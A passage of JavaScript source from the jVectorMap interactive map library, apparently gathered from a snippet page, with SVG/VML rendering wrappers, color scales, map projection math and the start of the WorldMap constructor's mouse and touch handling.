vector.length; i++) { result[i] = vector[i] * num; } return result; }, vectorLength: function(vector) { var result = 0, i; for (i = 0; i < vector.length; i++) { result += vector[i] * vector[i]; } return Math.sqrt(result); } };
JavaScript
jvm.VMLCanvasElement = function(container, width, height){ this.classPrefix = 'VML'; jvm.VMLCanvasElement.parentClass.call(this, 'group'); jvm.AbstractCanvasElement.apply(this, arguments); this.node.style.position = 'absolute'; }; jvm.inherits(jvm.VMLCanvasElement, jvm.VMLElement); jvm.mixin(jvm.VMLCanvasElement, jvm.AbstractCanvasElement); jvm.VMLCanvasElement.prototype.setSize = function(width, height){ var paths, groups, i, l; this.width = width; this.height = height; this.node.style.width = width + "px"; this.node.style.height = height + "px"; this.node.coordsize = width+' '+height; this.node.coordorigin = "0 0"; if (this.rootElement) { paths = this.rootElement.node.getElementsByTagName('shape'); for(i = 0, l = paths.length; i < l; i++) { paths[i].coordsize = width+' '+height; paths[i].style.width = width+'px'; paths[i].style.height = height+'px'; } groups = this.node.getElementsByTagName('group'); for(i = 0, l = groups.length; i < l; i++) { groups[i].coordsize = width+' '+height; groups[i].style.width = width+'px'; groups[i].style.height = height+'px'; } } }; jvm.VMLCanvasElement.prototype.applyTransformParams = function(scale, transX, transY) { this.scale = scale; this.transX = transX; this.transY = transY; this.rootElement.node.coordorigin = (this.width-transX-this.width/100)+','+(this.height-transY-this.height/100); this.rootElement.node.coordsize = this.width/scale+','+this.height/scale; };
JavaScript
jvm.ColorScale = function(colors, normalizeFunction, minValue, maxValue) { jvm.ColorScale.parentClass.apply(this, arguments); } jvm.inherits(jvm.ColorScale, jvm.NumericScale); jvm.ColorScale.prototype.setScale = function(scale) { var i; for (i = 0; i < scale.length; i++) { this.scale[i] = jvm.ColorScale.rgbToArray(scale[i]); } }; jvm.ColorScale.prototype.getValue = function(value) { return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this, value)); }; jvm.ColorScale.arrayToRgb = function(ar) { var rgb = '#', d, i; for (i = 0; i < ar.length; i++) { d = ar[i].toString(16); rgb += d.length == 1 ? '0'+d : d; } return rgb; }; jvm.ColorScale.numToRgb = function(num) { num = num.toString(16); while (num.length < 6) { num = '0' + num; } return '#'+num; }; jvm.ColorScale.rgbToArray = function(rgb) { rgb = rgb.substr(1); return [parseInt(rgb.substr(0, 2), 16), parseInt(rgb.substr(2, 2), 16), parseInt(rgb.substr(4, 2), 16)]; };
JavaScript
jvm.SVGGroupElement = function(){ jvm.SVGGroupElement.parentClass.call(this, 'g'); } jvm.inherits(jvm.SVGGroupElement, jvm.SVGElement); jvm.SVGGroupElement.prototype.add = function(element){ this.node.appendChild( element.node ); };
JavaScript
jvm.VMLGroupElement = function(){ jvm.VMLGroupElement.parentClass.call(this, 'group'); this.node.style.left = '0px'; this.node.style.top = '0px'; this.node.coordorigin = "0 0"; }; jvm.inherits(jvm.VMLGroupElement, jvm.VMLElement); jvm.VMLGroupElement.prototype.add = function(element){ this.node.appendChild( element.node ); };
JavaScript
/** * @namespace jvm Holds core methods and classes used by jVectorMap. */ var jvm = { /** * Inherits child's prototype from the parent's one. * @param {Function} child * @param {Function} parent */ inherits: function(child, parent) { function temp() {} temp.prototype = parent.prototype; child.prototype = new temp(); child.prototype.constructor = child; child.parentClass = parent; }, /** * Mixes in methods from the source constructor to the target one. * @param {Function} target * @param {Function} source */ mixin: function(target, source){ var prop; for (prop in source.prototype) { if (source.prototype.hasOwnProperty(prop)) { target.prototype[prop] = source.prototype[prop]; } } }, min: function(values){ var min = Number.MAX_VALUE, i; if (values instanceof Array) { for (i = 0; i < values.length; i++) { if (values[i] < min) { min = values[i]; } } } else { for (i in values) { if (values[i] < min) { min = values[i]; } } } return min; }, max: function(values){ var max = Number.MIN_VALUE, i; if (values instanceof Array) { for (i = 0; i < values.length; i++) { if (values[i] > max) { max = values[i]; } } } else { for (i in values) { if (values[i] > max) { max = values[i]; } } } return max; }, keys: function(object){ var keys = [], key; for (key in object) { keys.push(key); } return keys; }, values: function(object){ var values = [], key, i; for (i = 0; i < arguments.length; i++) { object = arguments[i]; for (key in object) { values.push(object[key]); } } return values; } }; jvm.$ = jQuery;
JavaScript
jvm.VMLShapeElement = function(name, config){ jvm.VMLShapeElement.parentClass.call(this, name, config); this.fillElement = new jvm.VMLElement('fill'); this.strokeElement = new jvm.VMLElement('stroke'); this.node.appendChild(this.fillElement.node); this.node.appendChild(this.strokeElement.node); this.node.stroked = false; jvm.AbstractShapeElement.apply(this, arguments); }; jvm.inherits(jvm.VMLShapeElement, jvm.VMLElement); jvm.mixin(jvm.VMLShapeElement, jvm.AbstractShapeElement); jvm.VMLShapeElement.prototype.applyAttr = function(attr, value){ switch (attr) { case 'fill': this.node.fillcolor = value; break; case 'fill-opacity': this.fillElement.node.opacity = Math.round(value*100)+'%'; break; case 'stroke': if (value === 'none') { this.node.stroked = false; } else { this.node.stroked = true; } this.node.strokecolor = value; break; case 'stroke-opacity': this.strokeElement.node.opacity = Math.round(value*100)+'%'; break; case 'stroke-width': if (parseInt(value, 10) === 0) { this.node.stroked = false; } else { this.node.stroked = true; } this.node.strokeweight = value; break; case 'd': this.node.path = jvm.VMLPathElement.pathSvgToVml(value); break; default: jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this, arguments); } };
JavaScript
jvm.OrdinalScale = function(scale){ this.scale = scale; }; jvm.OrdinalScale.prototype.getValue = function(value){ return this.scale[value]; };
JavaScript
jvm.SVGCanvasElement = function(container, width, height){ this.classPrefix = 'SVG'; jvm.SVGCanvasElement.parentClass.call(this, 'svg'); jvm.AbstractCanvasElement.apply(this, arguments); } jvm.inherits(jvm.SVGCanvasElement, jvm.SVGElement); jvm.mixin(jvm.SVGCanvasElement, jvm.AbstractCanvasElement); jvm.SVGCanvasElement.prototype.setSize = function(width, height){ this.width = width; this.height = height; this.node.setAttribute('width', width); this.node.setAttribute('height', height); }; jvm.SVGCanvasElement.prototype.applyTransformParams = function(scale, transX, transY) { this.scale = scale; this.transX = transX; this.transY = transY; this.rootElement.node.setAttribute('transform', 'scale('+scale+') translate('+transX+', '+transY+')'); };
JavaScript
jvm.SVGCircleElement = function(config, style){ jvm.SVGCircleElement.parentClass.call(this, 'circle', config, style); }; jvm.inherits(jvm.SVGCircleElement, jvm.SVGShapeElement);
JavaScript
/** * Wrapper for VML element. * @constructor * @extends jvm.AbstractElement * @param {String} name Tag name of the element * @param {Object} config Set of parameters to initialize element with */ jvm.VMLElement = function(name, config){ if (!jvm.VMLElement.VMLInitialized) { jvm.VMLElement.initializeVML(); } jvm.VMLElement.parentClass.apply(this, arguments); }; jvm.inherits(jvm.VMLElement, jvm.AbstractElement); /** * Shows if VML was already initialized for the current document or not. * @static * @private * @type {Boolean} */ jvm.VMLElement.VMLInitialized = false; /** * Initializes VML handling before creating the first element * (adds CSS class and creates namespace). Adds one of two forms * of createElement method depending of support by browser. * @static * @private */ // The following method of VML handling is borrowed from the // Raphael library by Dmitry Baranovsky. jvm.VMLElement.initializeVML = function(){ try { if (!document.namespaces.rvml) { document.namespaces.add("rvml","urn:schemas-microsoft-com:vml"); } /** * Creates DOM element. * @param {String} tagName Name of element * @private * @returns DOMElement */ jvm.VMLElement.prototype.createElement = function (tagName) { return document.createElement('<rvml:' + tagName + ' class="rvml">'); }; } catch (e) { /** * @private */ jvm.VMLElement.prototype.createElement = function (tagName) { return document.createElement('<' + tagName + ' xmlns="urn:schemas-microsoft.com:vml" class="rvml">'); }; } document.createStyleSheet().addRule(".rvml", "behavior:url(#default#VML)"); jvm.VMLElement.VMLInitialized = true; }; /** * Returns constructor for element by name prefixed with 'VML'. * @param {String} ctr Name of basic constructor to return * proper implementation for. * @returns Function * @private */ jvm.VMLElement.prototype.getElementCtr = function( ctr ){ return jvm['VML'+ctr]; }; /** * Adds CSS class for underlying DOM element. * @param {String} className Name of CSS class name */ jvm.VMLElement.prototype.addClass = function( className ){ jvm.$(this.node).addClass(className); }; /** * Applies attribute value to the underlying DOM element. * @param {String} name Name of attribute * @param {Number|String} config Value of attribute to apply * @private */ jvm.VMLElement.prototype.applyAttr = function( attr, value ){ this.node[attr] = value; }; /** * Returns boundary box for the element. * @returns {Object} Boundary box with numeric fields: x, y, width, height * @override */ jvm.VMLElement.prototype.getBBox = function(){ var node = jvm.$(this.node); return { x: node.position().left / this.canvas.scale, y: node.position().top / this.canvas.scale, width: node.width() / this.canvas.scale, height: node.height() / this.canvas.scale }; };
JavaScript
/** * Class for vector images manipulations. * @constructor * @param {DOMElement} container to place canvas to * @param {Number} width * @param {Number} height */ jvm.VectorCanvas = function(container, width, height) { this.mode = window.SVGAngle ? 'svg' : 'vml'; if (this.mode == 'svg') { this.impl = new jvm.SVGCanvasElement(container, width, height); } else { this.impl = new jvm.VMLCanvasElement(container, width, height); } return this.impl; };
JavaScript
/** * Contains methods for transforming point on sphere to * Cartesian coordinates using various projections. * @class */ jvm.Proj = { degRad: 180 / Math.PI, radDeg: Math.PI / 180, radius: 6381372, sgn: function(n){ if (n > 0) { return 1; } else if (n < 0) { return -1; } else { return n; } }, /** * Converts point on sphere to the Cartesian coordinates using Miller projection * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ mill: function(lat, lng, c){ return { x: this.radius * (lng - c) * this.radDeg, y: - this.radius * Math.log(Math.tan((45 + 0.4 * lat) * this.radDeg)) / 0.8 }; }, /** * Inverse function of mill() * Converts Cartesian coordinates to point on sphere using Miller projection * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ mill_inv: function(x, y, c){ return { lat: (2.5 * Math.atan(Math.exp(0.8 * y / this.radius)) - 5 * Math.PI / 8) * this.degRad, lng: (c * this.radDeg + x / this.radius) * this.degRad }; }, /** * Converts point on sphere to the Cartesian coordinates using Mercator projection * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ merc: function(lat, lng, c){ return { x: this.radius * (lng - c) * this.radDeg, y: - this.radius * Math.log(Math.tan(Math.PI / 4 + lat * Math.PI / 360)) }; }, /** * Inverse function of merc() * Converts Cartesian coordinates to point on sphere using Mercator projection * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ merc_inv: function(x, y, c){ return { lat: (2 * Math.atan(Math.exp(y / this.radius)) - Math.PI / 2) * this.degRad, lng: (c * this.radDeg + x / this.radius) * this.degRad }; }, /** * Converts point on sphere to the Cartesian coordinates using Albers Equal-Area Conic * projection * @see <a href="http://mathworld.wolfram.com/AlbersEqual-AreaConicProjection.html">Albers Equal-Area Conic projection</a> * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ aea: function(lat, lng, c){ var fi0 = 0, lambda0 = c * this.radDeg, fi1 = 29.5 * this.radDeg, fi2 = 45.5 * this.radDeg, fi = lat * this.radDeg, lambda = lng * this.radDeg, n = (Math.sin(fi1)+Math.sin(fi2)) / 2, C = Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1), theta = n*(lambda-lambda0), ro = Math.sqrt(C-2*n*Math.sin(fi))/n, ro0 = Math.sqrt(C-2*n*Math.sin(fi0))/n; return { x: ro * Math.sin(theta) * this.radius, y: - (ro0 - ro * Math.cos(theta)) * this.radius }; }, /** * Converts Cartesian coordinates to the point on sphere using Albers Equal-Area Conic * projection * @see <a href="http://mathworld.wolfram.com/AlbersEqual-AreaConicProjection.html">Albers Equal-Area Conic projection</a> * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ aea_inv: function(xCoord, yCoord, c){ var x = xCoord / this.radius, y = yCoord / this.radius, fi0 = 0, lambda0 = c * this.radDeg, fi1 = 29.5 * this.radDeg, fi2 = 45.5 * this.radDeg, n = (Math.sin(fi1)+Math.sin(fi2)) / 2, C = Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1), ro0 = Math.sqrt(C-2*n*Math.sin(fi0))/n, ro = Math.sqrt(x*x+(ro0-y)*(ro0-y)), theta = Math.atan( x / (ro0 - y) ); return { lat: (Math.asin((C - ro * ro * n * n) / (2 * n))) * this.degRad, lng: (lambda0 + theta / n) * this.degRad }; }, /** * Converts point on sphere to the Cartesian coordinates using Lambert conformal * conic projection * @see <a href="http://mathworld.wolfram.com/LambertConformalConicProjection.html">Lambert Conformal Conic Projection</a> * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ lcc: function(lat, lng, c){ var fi0 = 0, lambda0 = c * this.radDeg, lambda = lng * this.radDeg, fi1 = 33 * this.radDeg, fi2 = 45 * this.radDeg, fi = lat * this.radDeg, n = Math.log( Math.cos(fi1) * (1 / Math.cos(fi2)) ) / Math.log( Math.tan( Math.PI / 4 + fi2 / 2) * (1 / Math.tan( Math.PI / 4 + fi1 / 2) ) ), F = ( Math.cos(fi1) * Math.pow( Math.tan( Math.PI / 4 + fi1 / 2 ), n ) ) / n, ro = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi / 2 ), n ), ro0 = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi0 / 2 ), n ); return { x: ro * Math.sin( n * (lambda - lambda0) ) * this.radius, y: - (ro0 - ro * Math.cos( n * (lambda - lambda0) ) ) * this.radius }; }, /** * Converts Cartesian coordinates to the point on sphere using Lambert conformal conic * projection * @see <a href="http://mathworld.wolfram.com/LambertConformalConicProjection.html">Lambert Conformal Conic Projection</a> * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ lcc_inv: function(xCoord, yCoord, c){ var x = xCoord / this.radius, y = yCoord / this.radius, fi0 = 0, lambda0 = c * this.radDeg, fi1 = 33 * this.radDeg, fi2 = 45 * this.radDeg, n = Math.log( Math.cos(fi1) * (1 / Math.cos(fi2)) ) / Math.log( Math.tan( Math.PI / 4 + fi2 / 2) * (1 / Math.tan( Math.PI / 4 + fi1 / 2) ) ), F = ( Math.cos(fi1) * Math.pow( Math.tan( Math.PI / 4 + fi1 / 2 ), n ) ) / n, ro0 = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi0 / 2 ), n ), ro = this.sgn(n) * Math.sqrt(x*x+(ro0-y)*(ro0-y)), theta = Math.atan( x / (ro0 - y) ); return { lat: (2 * Math.atan(Math.pow(F/ro, 1/n)) - Math.PI / 2) * this.degRad, lng: (lambda0 + theta / n) * this.degRad }; } };
JavaScript
/** * Basic wrapper for DOM element. * @constructor * @param {String} name Tag name of the element * @param {Object} config Set of parameters to initialize element with */ jvm.AbstractElement = function(name, config){ /** * Underlying DOM element * @type {DOMElement} * @private */ this.node = this.createElement(name); /** * Name of underlying element * @type {String} * @private */ this.name = name; /** * Internal store of attributes * @type {Object} * @private */ this.properties = {}; if (config) { this.set(config); } }; /** * Set attribute of the underlying DOM element. * @param {String} name Name of attribute * @param {Number|String} config Set of parameters to initialize element with */ jvm.AbstractElement.prototype.set = function(property, value){ var key; if (typeof property === 'object') { for (key in property) { this.properties[key] = property[key]; this.applyAttr(key, property[key]); } } else { this.properties[property] = value; this.applyAttr(property, value); } }; /** * Returns value of attribute. * @param {String} name Name of attribute */ jvm.AbstractElement.prototype.get = function(property){ return this.properties[property]; }; /** * Applies attribute value to the underlying DOM element. * @param {String} name Name of attribute * @param {Number|String} config Value of attribute to apply * @private */ jvm.AbstractElement.prototype.applyAttr = function(property, value){ this.node.setAttribute(property, value); }; jvm.AbstractElement.prototype.remove = function(){ jvm.$(this.node).remove(); };
JavaScript
jvm.SVGShapeElement = function(name, config, style){ jvm.SVGShapeElement.parentClass.call(this, name, config); jvm.AbstractShapeElement.apply(this, arguments); }; jvm.inherits(jvm.SVGShapeElement, jvm.SVGElement); jvm.mixin(jvm.SVGShapeElement, jvm.AbstractShapeElement);
JavaScript
jvm.VMLCircleElement = function(config, style){ jvm.VMLCircleElement.parentClass.call(this, 'oval', config, style); }; jvm.inherits(jvm.VMLCircleElement, jvm.VMLShapeElement); jvm.VMLCircleElement.prototype.applyAttr = function(attr, value){ switch (attr) { case 'r': this.node.style.width = value*2+'px'; this.node.style.height = value*2+'px'; this.applyAttr('cx', this.get('cx') || 0); this.applyAttr('cy', this.get('cy') || 0); break; case 'cx': if (!value) return; this.node.style.left = value - (this.get('r') || 0) + 'px'; break; case 'cy': if (!value) return; this.node.style.top = value - (this.get('r') || 0) + 'px'; break; default: jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this, attr, value); } };
JavaScript
/** * Wrapper for SVG element. * @constructor * @extends jvm.AbstractElement * @param {String} name Tag name of the element * @param {Object} config Set of parameters to initialize element with */ jvm.SVGElement = function(name, config){ jvm.SVGElement.parentClass.apply(this, arguments); } jvm.inherits(jvm.SVGElement, jvm.AbstractElement); jvm.SVGElement.svgns = "http://www.w3.org/2000/svg"; /** * Creates DOM element. * @param {String} tagName Name of element * @private * @returns DOMElement */ jvm.SVGElement.prototype.createElement = function( tagName ){ return document.createElementNS( jvm.SVGElement.svgns, tagName ); }; /** * Adds CSS class for underlying DOM element. * @param {String} className Name of CSS class name */ jvm.SVGElement.prototype.addClass = function( className ){ this.node.setAttribute('class', className); }; /** * Returns constructor for element by name prefixed with 'VML'. * @param {String} ctr Name of basic constructor to return * proper implementation for. * @returns Function * @private */ jvm.SVGElement.prototype.getElementCtr = function( ctr ){ return jvm['SVG'+ctr]; }; jvm.SVGElement.prototype.getBBox = function(){ return this.node.getBBox(); };
JavaScript
/** * Abstract shape element. Shape element represents some visual vector or raster object. * @constructor * @param {String} name Tag name of the element. * @param {Object} config Set of parameters to initialize element with. * @param {Object} style Object with styles to set on element initialization. */ jvm.AbstractShapeElement = function(name, config, style){ this.style = style || {}; this.style.current = {}; this.isHovered = false; this.isSelected = false; this.updateStyle(); }; /** * Set hovered state to the element. Hovered state means mouse cursor is over element. Styles will be updates respectively. * @param {Boolean} isHovered <code>true</code> to make element hovered, <code>false</code> otherwise. */ jvm.AbstractShapeElement.prototype.setHovered = function(isHovered){ if (this.isHovered !== isHovered) { this.isHovered = isHovered; this.updateStyle(); } }; /** * Set selected state to the element. Styles will be updates respectively. * @param {Boolean} isSelected <code>true</code> to make element selected, <code>false</code> otherwise. */ jvm.AbstractShapeElement.prototype.setSelected = function(isSelected){ if (this.isSelected !== isSelected) { this.isSelected = isSelected; this.updateStyle(); jvm.$(this.node).trigger('selected', [isSelected]); } }; /** * Set element's style. * @param {Object|String} property Could be string to set only one property or object to set several style properties at once. * @param {String} value Value to set in case only one property should be set. */ jvm.AbstractShapeElement.prototype.setStyle = function(property, value){ var styles = {}; if (typeof property === 'object') { styles = property; } else { styles[property] = value; } jvm.$.extend(this.style.current, styles); this.updateStyle(); }; jvm.AbstractShapeElement.prototype.updateStyle = function(){ var attrs = {}; jvm.AbstractShapeElement.mergeStyles(attrs, this.style.initial); jvm.AbstractShapeElement.mergeStyles(attrs, this.style.current); if (this.isHovered) { jvm.AbstractShapeElement.mergeStyles(attrs, this.style.hover); } if (this.isSelected) { jvm.AbstractShapeElement.mergeStyles(attrs, this.style.selected); if (this.isHovered) { jvm.AbstractShapeElement.mergeStyles(attrs, this.style.selectedHover); } } this.set(attrs); }; jvm.AbstractShapeElement.mergeStyles = function(styles, newStyles){ var key; newStyles = newStyles || {}; for (key in newStyles) { if (newStyles[key] === null) { delete styles[key]; } else { styles[key] = newStyles[key]; } } }
JavaScript
/** * Creates map, draws paths, binds events. * @constructor * @param {Object} params Parameters to initialize map with. * @param {String} params.map Name of the map in the format <code>territory_proj_lang</code> where <code>territory</code> is a unique code or name of the territory which the map represents (ISO 3166 alpha 2 standard is used where possible), <code>proj</code> is a name of projection used to generate representation of the map on the plane (projections are named according to the conventions of proj4 utility) and <code>lang</code> is a code of the language, used for the names of regions. * @param {String} params.backgroundColor Background color of the map in CSS format. * @param {Boolean} params.zoomOnScroll When set to true map could be zoomed using mouse scroll. Default value is <code>true</code>. * @param {Number} params.zoomMax Indicates the maximum zoom ratio which could be reached zooming the map. Default value is <code>8</code>. * @param {Number} params.zoomMin Indicates the minimum zoom ratio which could be reached zooming the map. Default value is <code>1</code>. * @param {Number} params.zoomStep Indicates the multiplier used to zoom map with +/- buttons. Default value is <code>1.6</code>. * @param {Boolean} params.regionsSelectable When set to true regions of the map could be selected. Default value is <code>false</code>. * @param {Boolean} params.regionsSelectableOne Allow only one region to be selected at the moment. Default value is <code>false</code>. * @param {Boolean} params.markersSelectable When set to true markers on the map could be selected. Default value is <code>false</code>. * @param {Boolean} params.markersSelectableOne Allow only one marker to be selected at the moment. Default value is <code>false</code>. * @param {Object} params.regionStyle Set the styles for the map's regions. Each region or marker has four states: <code>initial</code> (default state), <code>hover</code> (when the mouse cursor is over the region or marker), <code>selected</code> (when region or marker is selected), <code>selectedHover</code> (when the mouse cursor is over the region or marker and it's selected simultaneously). Styles could be set for each of this states. Default value for that parameter is: <pre>{ initial: { fill: 'white', "fill-opacity": 1, stroke: 'none', "stroke-width": 0, "stroke-opacity": 1 }, hover: { "fill-opacity": 0.8 }, selected: { fill: 'yellow' }, selectedHover: { } }</pre> * @param {Object} params.markerStyle Set the styles for the map's markers. Any parameter suitable for <code>regionStyle</code> could be used as well as numeric parameter <code>r</code> to set the marker's radius. Default value for that parameter is: <pre>{ initial: { fill: 'grey', stroke: '#505050', "fill-opacity": 1, "stroke-width": 1, "stroke-opacity": 1, r: 5 }, hover: { stroke: 'black', "stroke-width": 2 }, selected: { fill: 'blue' }, selectedHover: { } }</pre> * @param {Object|Array} params.markers Set of markers to add to the map during initialization. In case of array is provided, codes of markers will be set as string representations of array indexes. Each marker is represented by <code>latLng</code> (array of two numeric values), <code>name</code> (string which will be show on marker's label) and any marker styles. * @param {Object} params.series Object with two keys: <code>markers</code> and <code>regions</code>. Each of which is an array of series configs to be applied to the respective map elements. See <a href="jvm.DataSeries.html">DataSeries</a> description for a list of parameters available. * @param {Object|String} params.focusOn This parameter sets the initial position and scale of the map viewport. It could be expressed as a string representing region which should be in focus or an object representing coordinates and scale to set. For example to focus on the center of the map at the double scale you can provide the following value: <pre>{ x: 0.5, y: 0.5, scale: 2 }</pre> * @param {Array|Object|String} params.selectedRegions Set initially selected regions. * @param {Array|Object|String} params.selectedMarkers Set initially selected markers. * @param {Function} params.onRegionLabelShow <code>(Event e, Object label, String code)</code> Will be called right before the region label is going to be shown. * @param {Function} params.onRegionOver <code>(Event e, String code)</code> Will be called on region mouse over event. * @param {Function} params.onRegionOut <code>(Event e, String code)</code> Will be called on region mouse out event. * @param {Function} params.onRegionClick <code>(Event e, String code)</code> Will be called on region click event. * @param {Function} params.onRegionSelected <code>(Event e, String code, Boolean isSelected, Array selectedRegions)</code> Will be called when region is (de)selected. <code>isSelected</code> parameter of the callback indicates whether region is selected or not. <code>selectedRegions</code> contains codes of all currently selected regions. * @param {Function} params.onMarkerLabelShow <code>(Event e, Object label, String code)</code> Will be called right before the marker label is going to be shown. * @param {Function} params.onMarkerOver <code>(Event e, String code)</code> Will be called on marker mouse over event. * @param {Function} params.onMarkerOut <code>(Event e, String code)</code> Will be called on marker mouse out event. * @param {Function} params.onMarkerClick <code>(Event e, String code)</code> Will be called on marker click event. * @param {Function} params.onMarkerSelected <code>(Event e, String code, Boolean isSelected, Array selectedMarkers)</code> Will be called when marker is (de)selected. <code>isSelected</code> parameter of the callback indicates whether marker is selected or not. <code>selectedMarkers</code> contains codes of all currently selected markers. * @param {Function} params.onViewportChange <code>(Event e, Number scale)</code> Triggered when the map's viewport is changed (map was panned or zoomed). */ jvm.WorldMap = function(params) { var map = this, e; this.params = jvm.$.extend(true, {}, jvm.WorldMap.defaultParams, params); if (!jvm.WorldMap.maps[this.params.map]) { throw new Error('Attempt to use map which was not loaded: '+this.params.map); } this.mapData = jvm.WorldMap.maps[this.params.map]; this.markers = {}; this.regions = {}; this.regionsColors = {}; this.regionsData = {}; this.container = jvm.$('<div>').css({width: '100%', height: '100%'}).addClass('jvectormap-container'); this.params.container.append( this.container ); this.container.data('mapObject', this); this.container.css({ position: 'relative', overflow: 'hidden' }); this.defaultWidth = this.mapData.width; this.defaultHeight = this.mapData.height; this.setBackgroundColor(this.params.backgroundColor); this.onResize = function(){ map.setSize(); } jvm.$(window).resize(this.onResize); for (e in jvm.WorldMap.apiEvents) { if (this.params[e]) { this.container.bind(jvm.WorldMap.apiEvents[e]+'.jvectormap', this.params[e]); } } this.canvas = new jvm.VectorCanvas(this.container[0], this.width, this.height); if ( ('ontouchstart' in window) || (window.DocumentTouch && document instanceof DocumentTouch) ) { if (this.params.bindTouchEvents) { this.bindContainerTouchEvents(); } } else { this.bindContainerEvents(); } this.bindElementEvents(); this.createLabel(); if (this.params.zoomButtons) { this.bindZoomButtons(); } this.createRegions(); this.createMarkers(this.params.markers || {}); this.setSize(); if (this.params.focusOn) { if (typeof this.params.focusOn === 'object') { this.setFocus.call(this, this.params.focusOn.scale, this.params.focusOn.x, this.params.focusOn.y); } else { this.setFocus.call(this, this.params.focusOn); } } if (this.params.selectedRegions) { this.setSelectedRegions(this.params.selectedRegions); } if (this.params.selectedMarkers) { this.setSelectedMarkers(this.params.selectedMarkers); } if (this.params.series) { this.createSeries(); } }; jvm.WorldMap.prototype = { transX: 0, transY: 0, scale: 1, baseTransX: 0, baseTransY: 0, baseScale: 1, width: 0, height: 0, /** * Set background color of the map. * @param {String} backgroundColor Background color in CSS format. */ setBackgroundColor: function(backgroundColor) { this.container.css('background-color', backgroundColor); }, resize: function() { var curBaseScale = this.baseScale; if (this.width / this.height > this.defaultWidth / this.defaultHeight) { this.baseScale = this.height / this.defaultHeight; this.baseTransX = Math.abs(this.width - this.defaultWidth * this.baseScale) / (2 * this.baseScale); } else { this.baseScale = this.width / this.defaultWidth; this.baseTransY = Math.abs(this.height - this.defaultHeight * this.baseScale) / (2 * this.baseScale); } this.scale *= this.baseScale / curBaseScale; this.transX *= this.baseScale / curBaseScale; this.transY *= this.baseScale / curBaseScale; }, /** * Synchronize the size of the map with the size of the container. Suitable in situations where the size of the container is changed programmatically or container is shown after it became visible. */ setSize: function(){ this.width = this.container.width(); this.height = this.container.height(); this.resize(); this.canvas.setSize(this.width, this.height); this.applyTransform(); }, /** * Reset all the series and show the map with the initial zoom. */ reset: function() { var key, i; for (key in this.series) { for (i = 0; i < this.series[key].length; i++) { this.series[key][i].clear(); } } this.scale = this.baseScale; this.transX = this.baseTransX; this.transY = this.baseTransY; this.applyTransform(); }, applyTransform: function() { var maxTransX, maxTransY, minTransX, minTransY; if (this.defaultWidth * this.scale <= this.width) { maxTransX = (this.width - this.defaultWidth * this.scale) / (2 * this.scale); minTransX = (this.width - this.defaultWidth * this.scale) / (2 * this.scale); } else { maxTransX = 0; minTransX = (this.width - this.defaultWidth * this.scale) / this.scale; } if (this.defaultHeight * this.scale <= this.height) { maxTransY = (this.height - this.defaultHeight * this.scale) / (2 * this.scale); minTransY = (this.height - this.defaultHeight * this.scale) / (2 * this.scale); } else { maxTransY = 0; minTransY = (this.height - this.defaultHeight * this.scale) / this.scale; } if (this.transY > maxTransY) { this.transY = maxTransY; } else if (this.transY < minTransY) { this.transY = minTransY; } if (this.transX > maxTransX) { this.transX = maxTransX; } else if (this.transX < minTransX) { this.transX = minTransX; } this.canvas.applyTransformParams(this.scale, this.transX, this.transY); if (this.markers) { this.repositionMarkers(); } this.container.trigger('viewportChange', [this.scale/this.baseScale, this.transX, this.transY]); }, bindContainerEvents: function(){ var mouseDown = false, oldPageX, oldPageY, map = this; this.container.mousemove(function(e){ if (mouseDown) { map.transX -= (oldPageX - e.pageX) / map.scale; map.transY -= (oldPageY - e.pageY) / map.scale; map.applyTransform(); oldPageX = e.pageX; oldPageY = e.pageY; } return false; }).mousedown(function(e){ mouseDown = true; oldPageX = e.pageX; oldPageY = e.pageY; return false; }); jvm.$('body').mouseup(function(){ mouseDown = false; }); if (this.params.zoomOnScroll) { this.container.mousewheel(function(event, delta, deltaX, deltaY) { var offset = jvm.$(map.container).offset(), centerX = event.pageX - offset.left, centerY = event.pageY - offset.top, zoomStep = Math.pow(1.3, deltaY); map.label.hide(); map.setScale(map.scale * zoomStep, centerX, centerY); event.preventDefault(); }); } }, bindContainerTouchEvents: function(){ var touchStartScale, touchStartDistance, map = this, touchX, touchY, centerTouchX, centerTouchY, lastTouchesLength, handleTouchEvent = function(e){ var touches = e.originalEvent.touches, offset, scale, transXOld, transYOld; if (e.type == 'touchstart') { lastTouchesLength = 0; } if (touches.length == 1) { if (lastTouchesLength == 1) { transXOld = map.transX; transYOld = map.transY; map.transX -= (touchX - touches[0].pageX) / map.scale; map.transY -= (touchY - touches[0].pageY) / map.scale; map.applyTransform(); map.label.hide(); if (transXOld != map.transX || transYOld != map.transY) { e.preventDefault(); } } touchX = touches[0].pageX; touchY = touches[0].pageY; } else if (touches.length == 2) { if (lastTouchesLength == 2) { scale = Math.sqrt( Math.pow(touches[0].pageX - touches[1].pageX, 2) + Math.pow(touches[0].pageY - touches[1].pageY, 2) ) / touchStartDistance; map.setScale( touchStartScale * scale, centerTouchX, centerTouchY ) map.label.hide(); e.preventDefault(); } else { offset = jvm.$(map.container).offset(); if (touches[0].pageX > touches[1].pageX) { centerTouchX = touches[1].pageX + (touches[0].pageX - touches[1].pageX) / 2; } else { centerTouchX = touches[0].pageX + (touches[1].pageX - touches[0].pageX) / 2; } if (touches[0].pageY > touches[1].pageY) { centerTouchY = touches[1].pageY + (touches[0].pageY - touches[1].pageY) / 2; } else { centerTouchY = touches[0].pageY + (touches[1].pageY - touches[0].pageY) / 2; } 